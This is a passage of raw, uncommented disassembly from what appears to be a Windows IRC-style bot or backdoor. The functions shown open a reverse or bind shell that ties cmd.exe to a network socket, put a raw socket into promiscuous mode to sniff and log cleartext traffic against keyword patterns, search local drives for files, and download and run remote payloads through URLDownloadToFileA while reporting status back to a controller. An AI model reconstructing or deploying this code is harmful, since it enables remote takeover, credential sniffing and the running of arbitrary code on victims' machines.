short locret_603EFD mov eax, [ebp+var_4] cmp [ebp+eax*4+var_88], 0FFFFFFFFh jz short loc_603EFB push 0 push 0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call dword_601110 ; ntohl push eax push offset sub_604AC1 push 0 push 0 call dword_6010C4 ; CreateThread push 8 call dword_6010E0 ; Sleep loc_603EFB: ; CODE XREF: sub_603C3B+295j jmp short loc_603EB8 ; --------------------------------------------------------------------------- locret_603EFD: ; CODE XREF: sub_603C3B+288j leave retn 8 sub_603C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603F01 proc near ; CODE XREF: sub_602D3E+E3p ; sub_603F01+39p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] mov al, [eax] mov [ebp+var_4], al cmp [ebp+var_4], 0 jz short loc_603F22 cmp [ebp+var_4], 2Ah jz short loc_603F32 cmp [ebp+var_4], 3Fh jz short loc_603F6A jmp short loc_603F8B ; --------------------------------------------------------------------------- loc_603F22: ; CODE XREF: sub_603F01+11j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] neg eax sbb eax, eax inc eax jmp loc_603FC0 ; --------------------------------------------------------------------------- loc_603F32: ; CODE XREF: sub_603F01+17j push [ebp+arg_4] mov eax, [ebp+arg_0] inc eax push eax call sub_603F01 cmp eax, 1 jnz short loc_603F4B xor eax, eax inc eax jmp short loc_603FC0 ; --------------------------------------------------------------------------- jmp short loc_603F6A ; --------------------------------------------------------------------------- loc_603F4B: ; CODE XREF: sub_603F01+41j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_603F66 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_603F01 jmp short loc_603FC0 ; --------------------------------------------------------------------------- jmp short loc_603F6A ; --------------------------------------------------------------------------- loc_603F66: ; CODE XREF: sub_603F01+52j xor eax, eax jmp short loc_603FC0 ; --------------------------------------------------------------------------- loc_603F6A: ; CODE XREF: sub_603F01+1Dj ; sub_603F01+48j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_603F7A xor eax, eax jmp short loc_603FC0 ; --------------------------------------------------------------------------- jmp short loc_603F8B ; --------------------------------------------------------------------------- loc_603F7A: ; CODE XREF: sub_603F01+71j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_603F01 jmp short loc_603FC0 ; --------------------------------------------------------------------------- loc_603F8B: ; CODE XREF: sub_603F01+1Fj ; sub_603F01+77j mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] push eax call dword_6010F0 ; CharUpperA mov esi, eax mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] push eax call dword_6010F0 ; CharUpperA cmp esi, eax jnz short loc_603FBE mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_603F01 jmp short loc_603FC0 ; --------------------------------------------------------------------------- jmp short loc_603FC0 ; --------------------------------------------------------------------------- loc_603FBE: ; CODE XREF: sub_603F01+A8j xor eax, eax loc_603FC0: ; CODE XREF: sub_603F01+2Cj ; sub_603F01+46j ... pop esi leave retn 8 sub_603F01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_603FC5 proc near ; CODE XREF: sub_6030CA+364p var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h and [ebp+var_108], 0 push 104h push [ebp+arg_0] lea eax, [ebp+var_104] push eax call dword_6010CC ; lstrcpynA push 0 push 0 lea eax, [ebp+var_108] push eax push offset sub_60401F push 0 push 0 call dword_6010C4 ; CreateThread test eax, eax jz short locret_60401B loc_604008: ; CODE XREF: sub_603FC5+54j cmp [ebp+var_108], 0 jnz short locret_60401B push 8 call dword_6010E0 ; Sleep jmp short loc_604008 ; --------------------------------------------------------------------------- locret_60401B: ; CODE XREF: sub_603FC5+41j ; sub_603FC5+4Aj leave retn 4 sub_603FC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60401F proc near ; DATA XREF: sub_603FC5+30o var_318 = byte ptr -318h var_314 = byte ptr -314h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 318h push 108h push [ebp+arg_0] lea eax, [ebp+var_318] push eax call sub_6039D1 mov eax, [ebp+arg_0] mov dword ptr [eax], 1 lea eax, [ebp+var_208] push eax push 200h call dword_60107C ; GetLogicalDriveStringsA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_604069 cmp [ebp+var_4], 200h jbe short loc_60406D loc_604069: ; CODE XREF: sub_60401F+3Fj xor eax, eax jmp short locret_6040D5 ; --------------------------------------------------------------------------- loc_60406D: ; CODE XREF: sub_60401F+48j lea eax, [ebp+var_208] mov [ebp+var_20C], eax jmp short loc_604097 ; --------------------------------------------------------------------------- loc_60407B: ; CODE XREF: sub_60401F:loc_6040D1j push [ebp+var_20C] call dword_601078 ; lstrlenA mov ecx, [ebp+var_20C] lea eax, [ecx+eax+1] mov [ebp+var_20C], eax loc_604097: ; CODE XREF: sub_60401F+5Aj mov eax, [ebp+var_20C] movsx eax, byte ptr [eax] test eax, eax jz short loc_6040D3 push [ebp+var_20C] call dword_601074 ; GetDriveTypeA mov [ebp+var_210], eax cmp [ebp+var_210], 3 jnz short loc_6040D1 lea eax, [ebp+var_314] push eax push [ebp+var_20C] call sub_6040D9 loc_6040D1: ; CODE XREF: sub_60401F+9Ej jmp short loc_60407B ; --------------------------------------------------------------------------- loc_6040D3: ; CODE XREF: sub_60401F+83j xor eax, eax locret_6040D5: ; CODE XREF: sub_60401F+4Cj leave retn 4 sub_60401F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6040D9 proc near ; CODE XREF: sub_60401F+ADp ; sub_6040D9+ABp var_544 = dword ptr -544h var_540 = dword ptr -540h var_514 = byte ptr -514h var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 544h push [ebp+arg_0] push offset a_256s ; "%.256s*" lea eax, [ebp+var_200] push eax call dword_6010F4 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_540] push eax lea eax, [ebp+var_200] push eax call dword_601088 ; FindFirstFileA mov [ebp+var_544], eax cmp [ebp+var_544], 0FFFFFFFFh jnz short loc_604122 jmp locret_6041F1 ; --------------------------------------------------------------------------- loc_604122: ; CODE XREF: sub_6040D9+42j ; sub_6040D9+106j mov eax, [ebp+var_540] and eax, 10h jz short loc_60418B push offset a_ ; "." lea eax, [ebp+var_514] push eax call dword_6010B8 ; lstrcmpA test eax, eax jz short loc_604159 push offset a__ ; ".." lea eax, [ebp+var_514] push eax call dword_6010B8 ; lstrcmpA test eax, eax jnz short loc_60415B loc_604159: ; CODE XREF: sub_6040D9+68j jmp short loc_6041CA ; --------------------------------------------------------------------------- loc_60415B: ; CODE XREF: sub_6040D9+7Ej lea eax, [ebp+var_514] push eax push [ebp+arg_0] push offset a_256s_250s ; "%.256s%.250s\\" lea eax, [ebp+var_200] push eax call dword_6010F4 ; wsprintfA add esp, 10h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_6040D9 jmp short loc_6041CA ; --------------------------------------------------------------------------- loc_60418B: ; CODE XREF: sub_6040D9+52j lea eax, [ebp+var_514] push eax push [ebp+arg_4] call sub_603F01 cmp eax, 1 jnz short loc_6041CA lea eax, [ebp+var_514] push eax push [ebp+arg_0] push offset aFindfile_256s_ ; "[findfile] %.256s%.240s" lea eax, [ebp+var_400] push eax call dword_6010F4 ; wsprintfA add esp, 10h lea eax, [ebp+var_400] push eax call sub_602CF3 loc_6041CA: ; CODE XREF: sub_6040D9:loc_604159j ; sub_6040D9+B0j ... lea eax, [ebp+var_540] push eax push [ebp+var_544] call dword_601084 ; FindNextFileA test eax, eax jnz loc_604122 push [ebp+var_544] call dword_601080 ; FindClose locret_6041F1: ; CODE XREF: sub_6040D9+44j leave retn 8 sub_6040D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6041F5 proc near ; CODE XREF: sub_6030CA+34Bp var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h and [ebp+var_108], 0 push 100h push [ebp+arg_0] lea eax, [ebp+var_104] push eax call dword_6010CC ; lstrcpynA push 0 push 0 lea eax, [ebp+var_108] push eax push offset sub_60424F push 0 push 0 call dword_6010C4 ; CreateThread test eax, eax jz short locret_60424B loc_604238: ; CODE XREF: sub_6041F5+54j cmp [ebp+var_108], 0 jnz short locret_60424B push 8 call dword_6010E0 ; Sleep jmp short loc_604238 ; --------------------------------------------------------------------------- locret_60424B: ; CODE XREF: sub_6041F5+41j ; sub_6041F5+4Aj leave retn 4 sub_6041F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60424F proc near ; DATA XREF: sub_6041F5+30o var_274 = dword ptr -274h var_270 = word ptr -270h var_26E = word ptr -26Eh var_26C = dword ptr -26Ch var_260 = dword ptr -260h var_234 = dword ptr -234h var_230 = word ptr -230h var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_214 = dword ptr -214h var_210 = byte ptr -210h var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 274h push 100h mov eax, [ebp+arg_0] add eax, 4 push eax lea eax, [ebp+var_108] push eax call dword_6010CC ; lstrcpynA mov eax, [ebp+arg_0] mov dword ptr [eax], 1 push 3Ah lea eax, [ebp+var_108] push eax call sub_603A00 mov [ebp+var_214], eax cmp [ebp+var_214], 0 jnz short loc_60429E xor eax, eax jmp locret_60441E ; --------------------------------------------------------------------------- loc_60429E: ; CODE XREF: sub_60424F+46j mov eax, [ebp+var_214] mov byte ptr [eax], 0 mov eax, [ebp+var_214] inc eax mov [ebp+var_214], eax push [ebp+var_214] call sub_60393B mov word ptr [ebp+var_4], ax lea eax, [ebp+var_108] push eax call dword_60114C ; inet_addr mov [ebp+var_26C], eax push [ebp+var_4] call dword_6010FC ; ntohs mov [ebp+var_26E], ax mov [ebp+var_270], 2 cmp [ebp+var_26C], 0 jnz short loc_604357 push 0 push 0 push 0 push 6 push 1 push 2 call dword_60111C ; WSASocketA mov [ebp+var_274], eax push 10h lea eax, [ebp+var_270] push eax push [ebp+var_274] call dword_601148 ; bind push 0 push [ebp+var_274] call dword_601150 ; listen push 0 push 0 push [ebp+var_274] call dword_601108 ; accept mov [ebp+var_10C], eax push [ebp+var_274] call dword_601140 ; closesocket jmp short loc_604384 ; --------------------------------------------------------------------------- loc_604357: ; CODE XREF: sub_60424F+A7j push 0 push 0 push 0 push 6 push 1 push 2 call dword_60111C ; WSASocketA mov [ebp+var_10C], eax push 10h lea eax, [ebp+var_270] push eax push [ebp+var_10C] call dword_60112C ; connect loc_604384: ; CODE XREF: sub_60424F+106j push 44h lea eax, [ebp+var_260] push eax call sub_60397F mov [ebp+var_260], 44h mov [ebp+var_234], 181h and [ebp+var_230], 0 mov eax, [ebp+var_10C] mov [ebp+var_224], eax mov eax, [ebp+var_224] mov [ebp+var_228], eax mov eax, [ebp+var_228] mov [ebp+var_220], eax push 100h lea eax, [ebp+var_210] push eax push offset aComspecQ ; "\"%comspec%\" /Q" call dword_60108C ; ExpandEnvironmentStringsA push offset aD ; "d" lea eax, [ebp+var_260] push eax push 0 push 0 push 10h push 1 push 0 push 0 lea eax, [ebp+var_210] push eax push 0 call dword_6010B4 ; CreateProcessA push [ebp+var_10C] call dword_601140 ; closesocket xor eax, eax locret_60441E: ; CODE XREF: sub_60424F+4Aj leave retn 4 sub_60424F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604422 proc near ; CODE XREF: sub_6030CA+281p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov dword_6014B0, 2 mov byte_6014B8, 0 cmp [ebp+arg_0], 0 jz short loc_60449A push 20h push [ebp+arg_0] call sub_603A00 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_604471 mov eax, [ebp+var_8] mov byte ptr [eax], 0 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax push 80h push [ebp+var_8] push offset byte_6014B8 call dword_6010CC ; lstrcpynA loc_604471: ; CODE XREF: sub_604422+2Dj push [ebp+arg_0] call sub_60393B mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_60448C cmp [ebp+var_8], 0 jnz short loc_60448C jmp short locret_6044BF ; --------------------------------------------------------------------------- jmp short loc_60449A ; --------------------------------------------------------------------------- loc_60448C: ; CODE XREF: sub_604422+5Ej ; sub_604422+64j cmp [ebp+var_4], 4 jnb short loc_60449A mov eax, [ebp+var_4] mov dword_6014B0, eax loc_60449A: ; CODE XREF: sub_604422+1Aj ; sub_604422+68j ... cmp dword_601704, 1 jnz short locret_6044BF and dword_601704, 0 push 0 push 0 push 0 push offset sub_6044D2 push 0 push 0 call dword_6010C4 ; CreateThread locret_6044BF: ; CODE XREF: sub_604422+66j ; sub_604422+7Fj leave retn 4 sub_604422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6044C3 proc near ; CODE XREF: sub_6030CA:loc_603355p push ebp mov ebp, esp mov dword_601704, 1 pop ebp retn sub_6044C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6044D2 proc near ; DATA XREF: sub_604422+8Eo var_1F8 = byte ptr -1F8h var_1F6 = word ptr -1F6h var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = byte ptr -1E0h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 push ebp mov ebp, esp sub esp, 1F8h mov [ebp+var_10], 10h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1F8] push eax push dword_601540 call dword_601134 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_604505 xor eax, eax jmp locret_604817 ; --------------------------------------------------------------------------- loc_604505: ; CODE XREF: sub_6044D2+2Aj and [ebp+var_1F6], 0 push 0 push 3 push 2 call dword_601124 ; socket mov [ebp+var_38], eax cmp [ebp+var_38], 0FFFFFFFFh jnz short loc_604529 xor eax, eax jmp locret_604817 ; --------------------------------------------------------------------------- loc_604529: ; CODE XREF: sub_6044D2+4Ej push 10h lea eax, [ebp+var_1F8] push eax push [ebp+var_38] call dword_601148 ; bind cmp eax, 0FFFFFFFFh jnz short loc_604550 push [ebp+var_38] call dword_601140 ; closesocket xor eax, eax jmp locret_604817 ; --------------------------------------------------------------------------- loc_604550: ; CODE XREF: sub_6044D2+6Cj mov [ebp+var_14], 1 push 0 push 0 lea eax, [ebp+var_44] push eax push 0 push 0 push 4 lea eax, [ebp+var_14] push eax push 98000001h push [ebp+var_38] call dword_601104 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_60458C push [ebp+var_38] call dword_601140 ; closesocket xor eax, eax jmp locret_604817 ; --------------------------------------------------------------------------- loc_60458C: ; CODE XREF: sub_6044D2+A8j push 10000h push 0 call dword_601094 ; GlobalAlloc mov [ebp+var_48], eax mov eax, [ebp+var_48] mov [ebp+var_34], eax loc_6045A2: ; CODE XREF: sub_6044D2+F5j ; sub_6044D2+103j ... cmp dword_601704, 0 jnz loc_60480C push 0 push 10000h push [ebp+var_48] push [ebp+var_38] call dword_60113C ; recv cmp eax, 0FFFFFFFFh jnz short loc_6045C9 jmp short loc_6045A2 ; --------------------------------------------------------------------------- loc_6045C9: ; CODE XREF: sub_6044D2+F3j mov eax, [ebp+var_34] movzx eax, byte ptr [eax+9] cmp eax, 6 jz short loc_6045D7 jmp short loc_6045A2 ; --------------------------------------------------------------------------- loc_6045D7: ; CODE XREF: sub_6044D2+101j mov eax, [ebp+var_34] movzx eax, byte ptr [eax] and eax, 0Fh shl eax, 2 mov [ebp+var_40], eax cmp [ebp+var_40], 3Ch jbe short loc_6045EE jmp short loc_6045A2 ; --------------------------------------------------------------------------- loc_6045EE: ; CODE XREF: sub_6044D2+118j mov eax, [ebp+var_34] mov ax, [eax+2] push eax call dword_601100 ; ntohs movzx eax, ax mov [ebp+var_4C], eax mov eax, [ebp+var_48] add eax, [ebp+var_40] mov [ebp+var_60], eax mov eax, [ebp+var_60] movzx eax, byte ptr [eax+0Ch] sar eax, 4 shl eax, 2 mov [ebp+var_30], eax mov eax, [ebp+var_40] add eax, [ebp+var_30] mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_4C] jb short loc_604631 jmp loc_6045A2 ; --------------------------------------------------------------------------- loc_604631: ; CODE XREF: sub_6044D2+158j mov eax, [ebp+var_4C] sub eax, [ebp+var_8] mov [ebp+var_3C], eax mov eax, [ebp+var_60] mov ax, [eax] push eax call dword_601100 ; ntohs mov [ebp+var_4], ax mov eax, [ebp+var_60] mov ax, [eax+2] push eax call dword_601100 ; ntohs mov [ebp+var_28], ax movzx eax, [ebp+var_4] cmp eax, 50h jz short loc_6046A9 movzx eax, [ebp+var_28] cmp eax, 50h jz short loc_6046A9 movzx eax, [ebp+var_4] cmp eax, 19h jz short loc_6046A9 movzx eax, [ebp+var_28] cmp eax, 19h jz short loc_6046A9 movzx eax, [ebp+var_4] cmp eax, 6Eh jz short loc_6046A9 movzx eax, [ebp+var_28] cmp eax, 6Eh jz short loc_6046A9 movzx eax, [ebp+var_4] cmp eax, 8Bh jz short loc_6046A9 movzx eax, [ebp+var_28] cmp eax, 8Bh jnz short loc_6046AE loc_6046A9: ; CODE XREF: sub_6044D2+192j ; sub_6044D2+19Bj ... jmp loc_6045A2 ; --------------------------------------------------------------------------- loc_6046AE: ; CODE XREF: sub_6044D2+1D5j mov eax, [ebp+var_48] add eax, [ebp+var_8] mov [ebp+var_1E8], eax mov eax, [ebp+var_1E8] add eax, [ebp+var_3C] mov byte ptr [eax], 0 and [ebp+var_1E4], 0 and [ebp+var_2C], 0 jmp short loc_6046DA ; --------------------------------------------------------------------------- loc_6046D3: ; CODE XREF: sub_6044D2:loc_60473Fj mov eax, [ebp+var_2C] inc eax mov [ebp+var_2C], eax loc_6046DA: ; CODE XREF: sub_6044D2+1FFj mov eax, [ebp+var_2C] cmp eax, [ebp+var_3C] jnb short loc_604741 mov eax, [ebp+var_1E8] add eax, [ebp+var_2C] movsx eax, byte ptr [eax] test eax, eax jz short loc_604703 mov eax, [ebp+var_1E8] add eax, [ebp+var_2C] movsx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_604711 loc_604703: ; CODE XREF: sub_6044D2+21Ej mov [ebp+var_1E4], 1 jmp short loc_604741 ; --------------------------------------------------------------------------- jmp short loc_60473F ; --------------------------------------------------------------------------- loc_604711: ; CODE XREF: sub_6044D2+22Fj mov eax, [ebp+var_1E8] add eax, [ebp+var_2C] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_604733 mov eax, [ebp+var_1E8] add eax, [ebp+var_2C] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_60473F loc_604733: ; CODE XREF: sub_6044D2+24Ej mov eax, [ebp+var_1E8] add eax, [ebp+var_2C] mov byte ptr [eax], 20h loc_60473F: ; CODE XREF: sub_6044D2+23Dj ; sub_6044D2+25Fj jmp short loc_6046D3 ; --------------------------------------------------------------------------- loc_604741: ; CODE XREF: sub_6044D2+20Ej ; sub_6044D2+23Bj cmp [ebp+var_1E4], 1 jnz short loc_60474F jmp loc_6045A2 ; --------------------------------------------------------------------------- loc_60474F: ; CODE XREF: sub_6044D2+276j push offset dword_6017C8 push [ebp+var_1E8] call sub_603A31 test eax, eax jz short loc_604768 jmp loc_6045A2 ; --------------------------------------------------------------------------- loc_604768: ; CODE XREF: sub_6044D2+28Fj push [ebp+var_1E8] call sub_60481B cmp eax, 1 jnz loc_604807 mov eax, [ebp+var_34] push dword ptr [eax+0Ch] call dword_601118 ; inet_ntoa mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_604796 jmp loc_6045A2 ; --------------------------------------------------------------------------- loc_604796: ; CODE XREF: sub_6044D2+2BDj push 10h push [ebp+var_C] lea eax, [ebp+var_5C] push eax call dword_6010CC ; lstrcpynA mov eax, [ebp+var_34] push dword ptr [eax+10h] call dword_601118 ; inet_ntoa mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_6047BF jmp loc_6045A2 ; --------------------------------------------------------------------------- loc_6047BF: ; CODE XREF: sub_6044D2+2E6j push 10h push [ebp+var_C] lea eax, [ebp+var_24] push eax call dword_6010CC ; lstrcpynA push [ebp+var_1E8] movzx eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax movzx eax, [ebp+var_4] push eax lea eax, [ebp+var_5C] push eax push offset a_16sHu_16sHu_2 ; "[%.16s:%hu->%.16s:%hu] \"%.256s\"" lea eax, [ebp+var_1E0] push eax call dword_6010F4 ; wsprintfA add esp, 1Ch lea eax, [ebp+var_1E0] push eax call sub_602CF3 loc_604807: ; CODE XREF: sub_6044D2+2A4j jmp loc_6045A2 ; --------------------------------------------------------------------------- loc_60480C: ; CODE XREF: sub_6044D2+D7j push [ebp+var_48] call dword_601090 ; GlobalFree xor eax, eax locret_604817: ; CODE XREF: sub_6044D2+2Ej ; sub_6044D2+52j ... leave retn 4 sub_6044D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60481B proc near ; CODE XREF: sub_6044D2+29Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx movsx eax, byte_6014B8 test eax, eax jz short loc_604842 push [ebp+arg_0] push offset byte_6014B8 call sub_603F01 cmp eax, 1 jnz short loc_604842 xor eax, eax inc eax jmp short locret_6048A2 ; --------------------------------------------------------------------------- loc_604842: ; CODE XREF: sub_60481B+Ej ; sub_60481B+20j and [ebp+var_8], 0 jmp short loc_60484F ; --------------------------------------------------------------------------- loc_604848: ; CODE XREF: sub_60481B:loc_60489Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_60484F: ; CODE XREF: sub_60481B+2Bj mov eax, [ebp+var_8] cmp eax, dword_6014B0 jnb short loc_6048A0 and [ebp+var_4], 0 jmp short loc_604867 ; --------------------------------------------------------------------------- loc_604860: ; CODE XREF: sub_60481B:loc_60489Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_604867: ; CODE XREF: sub_60481B+43j mov eax, [ebp+var_8] mov eax, off_601740[eax*4] mov ecx, [ebp+var_4] cmp dword ptr [eax+ecx*4], 0 jz short loc_60489E push [ebp+arg_0] mov eax, [ebp+var_8] mov eax, off_601740[eax*4] mov ecx, [ebp+var_4] push dword ptr [eax+ecx*4] call sub_603F01 cmp eax, 1 jnz short loc_60489C xor eax, eax inc eax jmp short locret_6048A2 ; --------------------------------------------------------------------------- loc_60489C: ; CODE XREF: sub_60481B+7Aj jmp short loc_604860 ; --------------------------------------------------------------------------- loc_60489E: ; CODE XREF: sub_60481B+5Dj jmp short loc_604848 ; --------------------------------------------------------------------------- loc_6048A0: ; CODE XREF: sub_60481B+3Dj xor eax, eax locret_6048A2: ; CODE XREF: sub_60481B+25j ; sub_60481B+7Fj leave retn 4 sub_60481B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6048A6 proc near ; CODE XREF: sub_6030CA+23Bp var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_108 = byte ptr -108h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 218h and [ebp+var_218], 0 mov eax, [ebp+arg_4] mov [ebp+var_214], eax mov eax, [ebp+arg_8] mov [ebp+var_210], eax push 104h push [ebp+arg_0] lea eax, [ebp+var_20C] push eax call dword_6010CC ; lstrcpynA lea eax, [ebp+var_108] push eax push 0 push offset dword_601D40 push offset a_ ; "." call dword_601098 ; GetTempFileNameA push 0 push 0 lea eax, [ebp+var_218] push eax push offset sub_60492B push 0 push 0 call dword_6010C4 ; CreateThread test eax, eax jz short locret_604927 loc_604914: ; CODE XREF: sub_6048A6+7Fj cmp [ebp+var_218], 0 jnz short locret_604927 push 8 call dword_6010E0 ; Sleep jmp short loc_604914 ; --------------------------------------------------------------------------- locret_604927: ; CODE XREF: sub_6048A6+6Cj ; sub_6048A6+75j leave retn 0Ch sub_6048A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60492B proc near ; DATA XREF: sub_6048A6+5Bo var_3AC = dword ptr -3ACh var_3A8 = byte ptr -3A8h var_224 = dword ptr -224h var_220 = byte ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = byte ptr -214h var_110 = byte ptr -110h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3ACh push offset aUrlmon_dll ; "urlmon.dll" call dword_60106C ; LoadLibraryA mov [ebp+var_224], eax cmp [ebp+var_224], 0 jz short loc_60496E push offset aUrldownloadtof ; "URLDownloadToFileA" push [ebp+var_224] call dword_601068 ; GetProcAddress mov [ebp+var_3AC], eax cmp [ebp+var_3AC], 0 jnz short loc_604975 loc_60496E: ; CODE XREF: sub_60492B+21j xor eax, eax jmp locret_604ABD ; --------------------------------------------------------------------------- loc_604975: ; CODE XREF: sub_60492B+41j push 214h push [ebp+arg_0] lea eax, [ebp+var_220] push eax call sub_6039D1 mov eax, [ebp+arg_0] mov dword ptr [eax], 1 call dword_6010DC ; GetCurrentThreadId mov [ebp+var_4], eax cmp [ebp+var_218], 0 jnz short loc_6049D6 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_214] push eax push [ebp+var_4] push offset aDl08x_180sTo_1 ; "[dl:%08x] %.180s to %.180s" lea eax, [ebp+var_3A8] push eax call dword_6010F4 ; wsprintfA add esp, 14h lea eax, [ebp+var_3A8] push eax call sub_602CF3 loc_6049D6: ; CODE XREF: sub_60492B+77j push 0 push 0 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_214] push eax push 0 call [ebp+var_3AC] test eax, eax jnz loc_604A8E push offset aD ; "d" push offset dword_601680 push 0 push 0 push 28h push 0 push 0 push 0 lea eax, [ebp+var_110] push eax push 0 call dword_6010B4 ; CreateProcessA cmp eax, 1 jnz short loc_604A5F cmp [ebp+var_218], 0 jnz short loc_604A4F push [ebp+var_4] push offset aDl08x ; "[dl:%08x] :)" lea eax, [ebp+var_3A8] push eax call dword_6010F4 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_3A8] push eax call sub_602CF3 loc_604A4F: ; CODE XREF: sub_60492B+FEj cmp [ebp+var_21C], 1 jnz short loc_604A5D call sub_602804 loc_604A5D: ; CODE XREF: sub_60492B+12Bj jmp short loc_604A8C ; --------------------------------------------------------------------------- loc_604A5F: ; CODE XREF: sub_60492B+F5j cmp [ebp+var_218], 0 jnz short loc_604A8C push [ebp+var_4] push offset aDl08xExec ; "[dl:%08x] :( exec" lea eax, [ebp+var_3A8] push eax call dword_6010F4 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_3A8] push eax call sub_602CF3 loc_604A8C: ; CODE XREF: sub_60492B:loc_604A5Dj ; sub_60492B+13Bj jmp short loc_604ABB ; --------------------------------------------------------------------------- loc_604A8E: ; CODE XREF: sub_60492B+C7j cmp [ebp+var_218], 0 jnz short loc_604ABB push [ebp+var_4] push offset aDl08xDl ; "[dl:%08x] :( dl" lea eax, [ebp+var_3A8] push eax call dword_6010F4 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_3A8] push eax call sub_602CF3 loc_604ABB: ; CODE XREF: sub_60492B:loc_604A8Cj ; sub_60492B+16Aj xor eax, eax locret_604ABD: ; CODE XREF: sub_60492B+45j leave retn 4 sub_60492B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604AC1 proc near ; DATA XREF: sub_603C3B+2A9o var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4Ch push [ebp+arg_0] call sub_604B25 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_604B1F cmp dword_6016FC, 0 jnz short loc_604B1F cmp [ebp+var_4], 1 jnz short loc_604AF0 mov [ebp+var_4C], offset dword_602610 jmp short loc_604AF7 ; --------------------------------------------------------------------------- loc_604AF0: ; CODE XREF: sub_604AC1+24j mov [ebp+var_4C], offset dword_60260C loc_604AF7: ; CODE XREF: sub_604AC1+2Dj push [ebp+var_4C] push [ebp+arg_0] call dword_601118 ; inet_ntoa push eax push offset dword_6025FC lea eax, [ebp+var_48] push eax call dword_6010F4 ; wsprintfA add esp, 10h lea eax, [ebp+var_48] push eax call sub_602CF3 loc_604B1F: ; CODE XREF: sub_604AC1+15j ; sub_604AC1+1Ej xor eax, eax leave retn 4 sub_604AC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_604B25 proc near ; CODE XREF: sub_604AC1+9p var_20 = byte ptr -20h 